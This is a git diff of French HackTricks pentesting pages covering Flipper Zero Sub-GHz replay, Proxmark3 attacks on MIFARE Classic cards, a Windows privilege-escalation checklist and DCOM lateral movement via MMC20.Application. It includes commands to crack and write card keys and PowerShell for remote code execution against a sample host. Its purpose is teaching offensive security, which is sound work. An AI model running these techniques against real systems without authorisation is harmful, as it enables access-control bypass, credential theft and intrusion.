<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
|
|
@ -12,6 +12,14 @@
|
|||
|
||||
</details>
|
||||
|
||||
**Groupe de sécurité Try Hard**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
Avec [**Flipper Zero**](https://flipperzero.one/), vous pouvez :
|
||||
|
||||
* **Écouter/Capturer/Rejouer des fréquences radio:** [**Sub-GHz**](fz-sub-ghz.md)
|
||||
|
@ -23,7 +31,13 @@ Avec [**Flipper Zero**](https://flipperzero.one/), vous pouvez :
|
|||
* **L'utiliser comme clé de sécurité (U2F)**
|
||||
* **Jouer à Snake**
|
||||
|
||||
**Autres ressources Flipper Zero sur** [**https://github.com/djsime1/awesome-flipperzer**](https://github.com/djsime1/awesome-flipperzero)
|
||||
**Autres ressources Flipper Zero dans** [**https://github.com/djsime1/awesome-flipperzer**](https://github.com/djsime1/awesome-flipperzero)
|
||||
|
||||
**Groupe de sécurité Try Hard**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -8,12 +8,20 @@ Autres façons de soutenir HackTricks :
|
|||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
||||
**Groupe de sécurité Try Hard**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Introduction <a href="#kfpn7" id="kfpn7"></a>
|
||||
|
||||
Flipper Zero peut **recevoir et transmettre des fréquences radio dans la plage de 300 à 928 MHz** avec son module intégré, qui peut lire, enregistrer et émuler des télécommandes. Ces télécommandes sont utilisées pour interagir avec des portails, des barrières, des serrures radio, des interrupteurs de télécommande, des sonnettes sans fil, des lumières intelligentes, et plus encore. Flipper Zero peut vous aider à savoir si votre sécurité est compromise.
|
||||
|
@ -52,11 +60,11 @@ Trouver des informations sur la fréquence utilisée (également un autre moyen
|
|||
L'option **Lire** **écoute sur la fréquence configurée** sur la modulation indiquée : 433,92 AM par défaut. Si **quelque chose est trouvé** lors de la lecture, **des informations sont fournies** à l'écran. Ces informations peuvent être utilisées pour reproduire le signal à l'avenir.
|
||||
|
||||
Pendant l'utilisation de la fonction Lire, il est possible d'appuyer sur le **bouton gauche** et de le **configurer**.\
|
||||
À ce moment, il y a **4 modulations** (AM270, AM650, FM328 et FM476), et **plusieurs fréquences pertinentes** sont stockées :
|
||||
À ce moment, il dispose de **4 modulations** (AM270, AM650, FM328 et FM476), et **plusieurs fréquences pertinentes** sont stockées :
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (28).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Vous pouvez définir **celle qui vous intéresse**, cependant, si vous n'êtes **pas sûr de la fréquence** qui pourrait être utilisée par la télécommande que vous avez, **activez le saut à ON** (désactivé par défaut), et appuyez plusieurs fois sur le bouton jusqu'à ce que Flipper la capture et vous donne les informations nécessaires pour définir la fréquence.
|
||||
Vous pouvez définir **celle qui vous intéresse**, cependant, si vous **n'êtes pas sûr de la fréquence** qui pourrait être utilisée par la télécommande que vous avez, **activez le saut à ON** (désactivé par défaut), et appuyez sur le bouton plusieurs fois jusqu'à ce que Flipper la capture et vous donne les informations nécessaires pour définir la fréquence.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Le passage d'une fréquence à une autre prend du temps, donc les signaux transmis au moment du changement peuvent être manqués. Pour une meilleure réception du signal, définissez une fréquence fixe déterminée par l'Analyseur de fréquence.
|
||||
|
@ -85,21 +93,21 @@ Ajouter des signaux à partir d'une liste configurée de protocoles
|
|||
#### Liste des [protocoles pris en charge](https://docs.flipperzero.one/sub-ghz/add-new-remote) <a href="#id-3iglu" id="id-3iglu"></a>
|
||||
|
||||
| Princeton\_433 (fonctionne avec la majorité des systèmes de codes statiques) | 433,92 | Statique |
|
||||
| --------------------------------------------------------------------------- | ------ | -------- |
|
||||
| Nice Flo 12bit\_433 | 433,92 | Statique |
|
||||
| Nice Flo 24bit\_433 | 433,92 | Statique |
|
||||
| CAME 12bit\_433 | 433,92 | Statique |
|
||||
| CAME 24bit\_433 | 433,92 | Statique |
|
||||
| Linear\_300 | 300,00 | Statique |
|
||||
| CAME TWEE | 433,92 | Statique |
|
||||
| Gate TX\_433 | 433,92 | Statique |
|
||||
| DoorHan\_315 | 315,00 | Dynamique |
|
||||
| DoorHan\_433 | 433,92 | Dynamique |
|
||||
| LiftMaster\_315 | 315,00 | Dynamique |
|
||||
| LiftMaster\_390 | 390,00 | Dynamique |
|
||||
| Security+2.0\_310 | 310,00 | Dynamique |
|
||||
| Security+2.0\_315 | 315,00 | Dynamique |
|
||||
| Security+2.0\_390 | 390,00 | Dynamique |
|
||||
| --------------------------------------------------------------- | ------ | ------- |
|
||||
| Nice Flo 12bit\_433 | 433,92 | Statique |
|
||||
| Nice Flo 24bit\_433 | 433,92 | Statique |
|
||||
| CAME 12bit\_433 | 433,92 | Statique |
|
||||
| CAME 24bit\_433 | 433,92 | Statique |
|
||||
| Linear\_300 | 300,00 | Statique |
|
||||
| CAME TWEE | 433,92 | Statique |
|
||||
| Gate TX\_433 | 433,92 | Statique |
|
||||
| DoorHan\_315 | 315,00 | Dynamique |
|
||||
| DoorHan\_433 | 433,92 | Dynamique |
|
||||
| LiftMaster\_315 | 315,00 | Dynamique |
|
||||
| LiftMaster\_390 | 390,00 | Dynamique |
|
||||
| Security+2.0\_310 | 310,00 | Dynamique |
|
||||
| Security+2.0\_315 | 315,00 | Dynamique |
|
||||
| Security+2.0\_390 | 390,00 | Dynamique |
|
||||
### Fournisseurs Sub-GHz pris en charge
|
||||
|
||||
Consultez la liste sur [https://docs.flipperzero.one/sub-ghz/supported-vendors](https://docs.flipperzero.one/sub-ghz/supported-vendors)
|
||||
|
@ -117,3 +125,23 @@ Obtenez les dBm des fréquences enregistrées
|
|||
## Référence
|
||||
|
||||
* [https://docs.flipperzero.one/sub-ghz](https://docs.flipperzero.one/sub-ghz)
|
||||
|
||||
**Groupe de sécurité Try Hard**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks:
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,24 +2,32 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert Red Team AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**dépôt hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**dépôt hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Partagez vos astuces de piratage en soumettant des PRs au** [**dépôt hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**dépôt hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
**Groupe de sécurité Try Hard**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Attaquer les systèmes RFID avec Proxmark3
|
||||
|
||||
La première chose à faire est d'avoir un [**Proxmark3**](https://proxmark.com) et [**d'installer le logiciel et ses dépendances**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux)[**s**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux).
|
||||
|
||||
### Attaquer les MIFARE Classic 1KB
|
||||
### Attaquer les systèmes MIFARE Classic 1KB
|
||||
|
||||
Il a **16 secteurs**, chacun ayant **4 blocs** et chaque bloc contient **16B**. L'UID se trouve dans le secteur 0 bloc 0 (et ne peut pas être modifié).\
|
||||
Pour accéder à chaque secteur, vous avez besoin de **2 clés** (**A** et **B**) qui sont stockées dans **le bloc 3 de chaque secteur** (secteur de verrouillage). Le secteur de verrouillage stocke également les **bits d'accès** qui donnent les permissions de **lecture et d'écriture** sur **chaque bloc** en utilisant les 2 clés.\
|
||||
Pour accéder à chaque secteur, vous avez besoin de **2 clés** (**A** et **B**) qui sont stockées dans **le bloc 3 de chaque secteur** (secteur de contrôle). Le secteur de contrôle stocke également les **bits d'accès** qui donnent les permissions de **lecture et écriture** sur **chaque bloc** en utilisant les 2 clés.\
|
||||
2 clés sont utiles pour donner des permissions de lecture si vous connaissez la première et d'écriture si vous connaissez la deuxième (par exemple).
|
||||
|
||||
Plusieurs attaques peuvent être réalisées
|
||||
|
@ -41,11 +49,11 @@ proxmark3> hf mf eset 01 000102030405060708090a0b0c0d0e0f # Write those bytes to
|
|||
proxmark3> hf mf eget 01 # Read block 1
|
||||
proxmark3> hf mf wrbl 01 B FFFFFFFFFFFF 000102030405060708090a0b0c0d0e0f # Write to the card
|
||||
```
|
||||
Le Proxmark3 permet d'effectuer d'autres actions comme **l'écoute** d'une **communication entre une balise et un lecteur** pour essayer de trouver des données sensibles. Sur cette carte, vous pourriez simplement écouter la communication et calculer la clé utilisée car les **opérations cryptographiques utilisées sont faibles** et en connaissant le texte en clair et le texte chiffré, vous pouvez le calculer (outil `mfkey64`).
|
||||
Le Proxmark3 permet d'effectuer d'autres actions comme **écouter** une **communication Tag à Lecteur** pour essayer de trouver des données sensibles. Sur cette carte, vous pourriez simplement renifler la communication et calculer la clé utilisée car les **opérations cryptographiques utilisées sont faibles** et en connaissant le texte en clair et le texte chiffré, vous pouvez le calculer (outil `mfkey64`).
|
||||
|
||||
### Commandes Brutes
|
||||
|
||||
Les systèmes IoT utilisent parfois des **balises non marquées ou non commerciales**. Dans ce cas, vous pouvez utiliser le Proxmark3 pour envoyer des **commandes brutes personnalisées aux balises**.
|
||||
Les systèmes IoT utilisent parfois des **étiquettes non marquées ou non commerciales**. Dans ce cas, vous pouvez utiliser le Proxmark3 pour envoyer des **commandes brutes personnalisées aux étiquettes**.
|
||||
```bash
|
||||
proxmark3> hf search UID : 80 55 4b 6c ATQA : 00 04
|
||||
SAK : 08 [2]
|
||||
|
@ -59,8 +67,27 @@ Avec ces informations, vous pourriez essayer de rechercher des informations sur
|
|||
|
||||
### Scripts
|
||||
|
||||
Le logiciel Proxmark3 est livré avec une liste préchargée de **scripts d'automatisation** que vous pouvez utiliser pour effectuer des tâches simples. Pour récupérer la liste complète, utilisez la commande `script list`. Ensuite, utilisez la commande `script run`, suivie du nom du script :
|
||||
Le logiciel Proxmark3 est livré avec une liste préchargée de **scripts d'automatisation** que vous pouvez utiliser pour effectuer des tâches simples. Pour récupérer la liste complète, utilisez la commande `script list`. Ensuite, utilisez la commande `script run`, suivi du nom du script :
|
||||
```
|
||||
proxmark3> script run mfkeys
|
||||
```
|
||||
Vous pouvez créer un script pour **fuzzer les lecteurs de tags**, en copiant les données d'une **carte valide**, il suffit d'écrire un **script Lua** qui **randomise** un ou plusieurs **octets aléatoires** et de vérifier si le **lecteur plante** avec chaque itération.
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité**? Vous souhaitez voir votre **entreprise annoncée dans HackTricks**? ou souhaitez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**dépôt hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**dépôt hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# Liste de vérification - Élévation de privilèges locale Windows
|
||||
# Checklist - Élévation de privilèges locale Windows
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -14,6 +14,14 @@ Autres façons de soutenir HackTricks :
|
|||
|
||||
</details>
|
||||
|
||||
**Groupe de sécurité Try Hard**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
### **Meilleur outil pour rechercher des vecteurs d'élévation de privilèges locaux Windows :** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
|
||||
|
||||
### [Informations système](windows-local-privilege-escalation/#system-info)
|
||||
|
@ -41,22 +49,22 @@ Autres façons de soutenir HackTricks :
|
|||
* [**Stratégie AppLocker**](authentication-credentials-uac-and-efs#applocker-policy) ?
|
||||
* [**UAC**](authentication-credentials-uac-and-efs/uac-user-account-control)
|
||||
* [**Privilèges utilisateur**](windows-local-privilege-escalation/#users-and-groups)
|
||||
* Vérifier les [**privilèges utilisateur**](windows-local-privilege-escalation/#users-and-groups) **actuels**
|
||||
* Vérifier les [**privilèges utilisateur actuels**](windows-local-privilege-escalation/#users-and-groups)
|
||||
* Êtes-vous [**membre d'un groupe privilégié**](windows-local-privilege-escalation/#privileged-groups) ?
|
||||
* Vérifier si vous avez activé [l'un de ces jetons](windows-local-privilege-escalation/#token-manipulation) : **SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege** ?
|
||||
* [**Sessions utilisateur**](windows-local-privilege-escalation/#logged-users-sessions) ?
|
||||
* Vérifier les [**dossiers personnels des utilisateurs**](windows-local-privilege-escalation/#home-folders) (accès ?)
|
||||
* Vérifier la [**stratégie de mot de passe**](windows-local-privilege-escalation/#password-policy)
|
||||
* Vérifier la [**politique de mot de passe**](windows-local-privilege-escalation/#password-policy)
|
||||
* Qu'y a-t-il [**dans le presse-papiers**](windows-local-privilege-escalation/#get-the-content-of-the-clipboard) ?
|
||||
|
||||
### [Réseau](windows-local-privilege-escalation/#network)
|
||||
|
||||
* Vérifier les **informations** **réseau** **actuelles**](windows-local-privilege-escalation/#network)
|
||||
* Vérifier les **informations réseau** **actuelles**](windows-local-privilege-escalation/#network)
|
||||
* Vérifier les **services locaux cachés** restreints à l'extérieur
|
||||
|
||||
### [Processus en cours d'exécution](windows-local-privilege-escalation/#running-processes)
|
||||
|
||||
* Autorisations des fichiers binaires des processus [**fichier et dossiers**](windows-local-privilege-escalation/#file-and-folder-permissions)
|
||||
* Autorisations des fichiers et dossiers des binaires de processus](windows-local-privilege-escalation/#file-and-folder-permissions)
|
||||
* [**Extraction de mots de passe en mémoire**](windows-local-privilege-escalation/#memory-password-mining)
|
||||
* [**Applications GUI non sécurisées**](windows-local-privilege-escalation/#insecure-gui-apps)
|
||||
* Voler des informations d'identification avec des **processus intéressants** via `ProcDump.exe` ? (firefox, chrome, etc ...)
|
||||
|
@ -66,53 +74,53 @@ Autres façons de soutenir HackTricks :
|
|||
* [Pouvez-vous **modifier un service** ?](windows-local-privilege-escalation#permissions)
|
||||
* [Pouvez-vous **modifier** le **binaire** exécuté par un **service** ?](windows-local-privilege-escalation/#modify-service-binary-path)
|
||||
* [Pouvez-vous **modifier** le **registre** d'un **service** ?](windows-local-privilege-escalation/#services-registry-modify-permissions)
|
||||
* Pouvez-vous profiter de tout **chemin binaire de service non entre guillemets** ?](windows-local-privilege-escalation/#unquoted-service-paths)
|
||||
* Pouvez-vous profiter de tout **chemin binaire de service non mis entre guillemets** ?](windows-local-privilege-escalation/#unquoted-service-paths)
|
||||
|
||||
### [**Applications**](windows-local-privilege-escalation/#applications)
|
||||
|
||||
* **Autorisations d'écriture sur les applications installées**](windows-local-privilege-escalation/#write-permissions)
|
||||
* [**Applications de démarrage**](windows-local-privilege-escalation/#run-at-startup)
|
||||
* **Pilotes vulnérables**](windows-local-privilege-escalation/#drivers)
|
||||
* **Pilotes** vulnérables](windows-local-privilege-escalation/#drivers)
|
||||
### [DLL Hijacking](windows-local-privilege-escalation/#path-dll-hijacking)
|
||||
|
||||
### [Détournement de DLL](windows-local-privilege-escalation/#path-dll-hijacking)
|
||||
* [ ] Pouvez-vous **écrire dans n'importe quel dossier à l'intérieur de PATH**?
|
||||
* [ ] Y a-t-il un binaire de service connu qui **essaie de charger un DLL inexistant**?
|
||||
* [ ] Pouvez-vous **écrire** dans n'importe quel **dossier de binaires**?
|
||||
|
||||
* Pouvez-vous **écrire dans n'importe quel dossier à l'intérieur de PATH** ?
|
||||
* Y a-t-il un binaire de service connu qui **essaie de charger une DLL inexistante** ?
|
||||
* Pouvez-vous **écrire** dans n'importe quel **dossier de binaires** ?
|
||||
### [Réseau](windows-local-privilege-escalation/#network)
|
||||
|
||||
* [ ] Énumérer le réseau (partages, interfaces, routes, voisins, ...)
|
||||
* [ ] Examiner attentivement les services réseau écoutant sur localhost (127.0.0.1)
|
||||
* [ ] Énumérez le réseau (partages, interfaces, routes, voisins, ...)
|
||||
* [ ] Portez une attention particulière aux services réseau écoutant sur localhost (127.0.0.1)
|
||||
|
||||
### [Identifiants Windows](windows-local-privilege-escalation/#windows-credentials)
|
||||
|
||||
* [ ] [**Winlogon** ](windows-local-privilege-escalation/#winlogon-credentials)identifiants
|
||||
* [ ] Identifiants [**Windows Vault**](windows-local-privilege-escalation/#credentials-manager-windows-vault) que vous pourriez utiliser?
|
||||
* [ ] Identifiants de [**Windows Vault**](windows-local-privilege-escalation/#credentials-manager-windows-vault) que vous pourriez utiliser?
|
||||
* [ ] Informations intéressantes sur les [**identifiants DPAPI**](windows-local-privilege-escalation/#dpapi)?
|
||||
* [ ] Mots de passe des réseaux [**Wifi enregistrés**](windows-local-privilege-escalation/#wifi)?
|
||||
* [ ] Mots de passe des [**réseaux Wifi enregistrés**](windows-local-privilege-escalation/#wifi)?
|
||||
* [ ] Informations intéressantes dans les [**connexions RDP enregistrées**](windows-local-privilege-escalation/#saved-rdp-connections)?
|
||||
* [ ] Mots de passe dans les [**commandes récemment exécutées**](windows-local-privilege-escalation/#recently-run-commands)?
|
||||
* [ ] Mots de passe du [**Gestionnaire d'informations d'identification Bureau à distance**](windows-local-privilege-escalation/#remote-desktop-credential-manager)?
|
||||
* [ ] [**AppCmd.exe** existe-t-il](windows-local-privilege-escalation/#appcmd-exe)? Identifiants?
|
||||
* [ ] [**SCClient.exe**](windows-local-privilege-escalation/#scclient-sccm)? Chargement de DLL latéral?
|
||||
* [ ] [**SCClient.exe**](windows-local-privilege-escalation/#scclient-sccm)? Chargement latéral de DLL?
|
||||
|
||||
### [Fichiers et Registre (Identifiants)](windows-local-privilege-escalation/#files-and-registry-credentials)
|
||||
|
||||
* [ ] **Putty:** [**Identifiants**](windows-local-privilege-escalation/#putty-creds) **et** [**Clés hôtes SSH**](windows-local-privilege-escalation/#putty-ssh-host-keys)
|
||||
* [ ] Clés [**SSH dans le registre**](windows-local-privilege-escalation/#ssh-keys-in-registry)?
|
||||
* [ ] Mots de passe dans les [**fichiers sans surveillance**](windows-local-privilege-escalation/#unattended-files)?
|
||||
* [ ] **Putty:** [**Identifiants**](windows-local-privilege-escalation/#putty-creds) **et** [**clés hôtes SSH**](windows-local-privilege-escalation/#putty-ssh-host-keys)
|
||||
* [ ] Clés SSH dans le registre [**SSH keys in registry**](windows-local-privilege-escalation/#ssh-keys-in-registry)?
|
||||
* [ ] Mots de passe dans les [**fichiers non assistés**](windows-local-privilege-escalation/#unattended-files)?
|
||||
* [ ] Une sauvegarde de [**SAM & SYSTEM**](windows-local-privilege-escalation/#sam-and-system-backups)?
|
||||
* [ ] [**Identifiants Cloud**](windows-local-privilege-escalation/#cloud-credentials)?
|
||||
* [ ] Fichier [**McAfee SiteList.xml**](windows-local-privilege-escalation/#mcafee-sitelist.xml)?
|
||||
* [ ] [**Mot de passe GPP mis en cache**](windows-local-privilege-escalation/#cached-gpp-pasword)?
|
||||
* [ ] Mot de passe dans le fichier de configuration Web [**IIS**](windows-local-privilege-escalation/#iis-web-config)?
|
||||
* [ ] Informations intéressantes dans les [**logs web**](windows-local-privilege-escalation/#logs)?
|
||||
* [ ] Voulez-vous [**demander des identifiants**](windows-local-privilege-escalation/#ask-for-credentials) à l'utilisateur?
|
||||
* [ ] Informations intéressantes dans les [**fichiers de la Corbeille**](windows-local-privilege-escalation/#credentials-in-the-recyclebin)?
|
||||
* [ ] Autre [**registre contenant des identifiants**](windows-local-privilege-escalation/#inside-the-registry)?
|
||||
* [ ] Dans les [**données du navigateur**](windows-local-privilege-escalation/#browsers-history) (bases de données, historique, favoris, ...)?
|
||||
* [ ] [**Recherche de mots de passe génériques**](windows-local-privilege-escalation/#generic-password-search-in-files-and-registry) dans les fichiers et le registre
|
||||
* [ ] [**Outils**](windows-local-privilege-escalation/#tools-that-search-for-passwords) pour rechercher automatiquement des mots de passe
|
||||
* [**Mot de passe GPP mis en cache**](windows-local-privilege-escalation/#cached-gpp-pasword)?
|
||||
* Mot de passe dans le fichier de configuration web [**IIS Web config file**](windows-local-privilege-escalation/#iis-web-config)?
|
||||
* Informations intéressantes dans les [**logs web**](windows-local-privilege-escalation/#logs)?
|
||||
* Souhaitez-vous [**demander des identifiants**](windows-local-privilege-escalation/#ask-for-credentials) à l'utilisateur?
|
||||
* Informations intéressantes dans les [**fichiers de la Corbeille**](windows-local-privilege-escalation/#credentials-in-the-recyclebin)?
|
||||
* Autre [**registre contenant des identifiants**](windows-local-privilege-escalation/#inside-the-registry)?
|
||||
* Dans les [**données du navigateur**](windows-local-privilege-escalation/#browsers-history) (bases de données, historique, favoris, ...)?
|
||||
* [**Recherche de mots de passe génériques**](windows-local-privilege-escalation/#generic-password-search-in-files-and-registry) dans les fichiers et le registre
|
||||
* [**Outils**](windows-local-privilege-escalation/#tools-that-search-for-passwords) pour rechercher automatiquement des mots de passe
|
||||
|
||||
### [Gestionnaires divulgués](windows-local-privilege-escalation/#leaked-handlers)
|
||||
|
||||
|
|
|
@ -12,12 +12,20 @@
|
|||
|
||||
</details>
|
||||
|
||||
**Groupe de sécurité Try Hard**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## MMC20.Application
|
||||
|
||||
**Pour plus d'informations sur cette technique, consultez l'article original sur [https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/)**
|
||||
|
||||
|
||||
Les objets du modèle d'objet de composant distribué (DCOM) offrent une capacité intéressante pour les interactions basées sur le réseau avec des objets. Microsoft fournit une documentation complète pour à la fois DCOM et le modèle d'objet de composant (COM), accessible [ici pour DCOM](https://msdn.microsoft.com/en-us/library/cc226801.aspx) et [ici pour COM](https://msdn.microsoft.com/en-us/library/windows/desktop/ms694363\(v=vs.85\).aspx). Une liste des applications DCOM peut être récupérée en utilisant la commande PowerShell :
|
||||
Le modèle d'objet de composant distribué (DCOM) offre une capacité intéressante pour les interactions basées sur le réseau avec des objets. Microsoft fournit une documentation complète pour à la fois DCOM et le modèle d'objet de composant (COM), accessible [ici pour DCOM](https://msdn.microsoft.com/en-us/library/cc226801.aspx) et [ici pour COM](https://msdn.microsoft.com/en-us/library/windows/desktop/ms694363\(v=vs.85\).aspx). Une liste des applications DCOM peut être récupérée en utilisant la commande PowerShell :
|
||||
```bash
|
||||
Get-CimInstance Win32_DCOMApplication
|
||||
```
|
||||
|
@ -34,7 +42,7 @@ Vérifier les méthodes:
|
|||
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "10.10.10.10"))
|
||||
$com.Document.ActiveView | Get-Member
|
||||
```
|
||||
Obtenir l'exécution de code à distance (RCE) :
|
||||
Obtenir un accès à distance (RCE) :
|
||||
```powershell
|
||||
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "10.10.10.10"))
|
||||
$com | Get-Member
|
||||
|
@ -49,10 +57,10 @@ ls \\10.10.10.10\c$\Users
|
|||
|
||||
L'objet **MMC20.Application** a été identifié comme manquant de "LaunchPermissions" explicites, se contentant des autorisations permettant l'accès aux administrateurs. Pour plus de détails, un fil peut être exploré [ici](https://twitter.com/tiraniddo/status/817532039771525120), et l'utilisation de [@tiraniddo](https://twitter.com/tiraniddo)’s OleView .NET pour filtrer les objets sans autorisation de lancement explicite est recommandée.
|
||||
|
||||
Deux objets spécifiques, `ShellBrowserWindow` et `ShellWindows`, ont été mis en avant en raison de leur absence de Launch Permissions explicites. L'absence d'une entrée de registre `LaunchPermission` sous `HKCR:\AppID\{guid}` signifie l'absence d'autorisations explicites.
|
||||
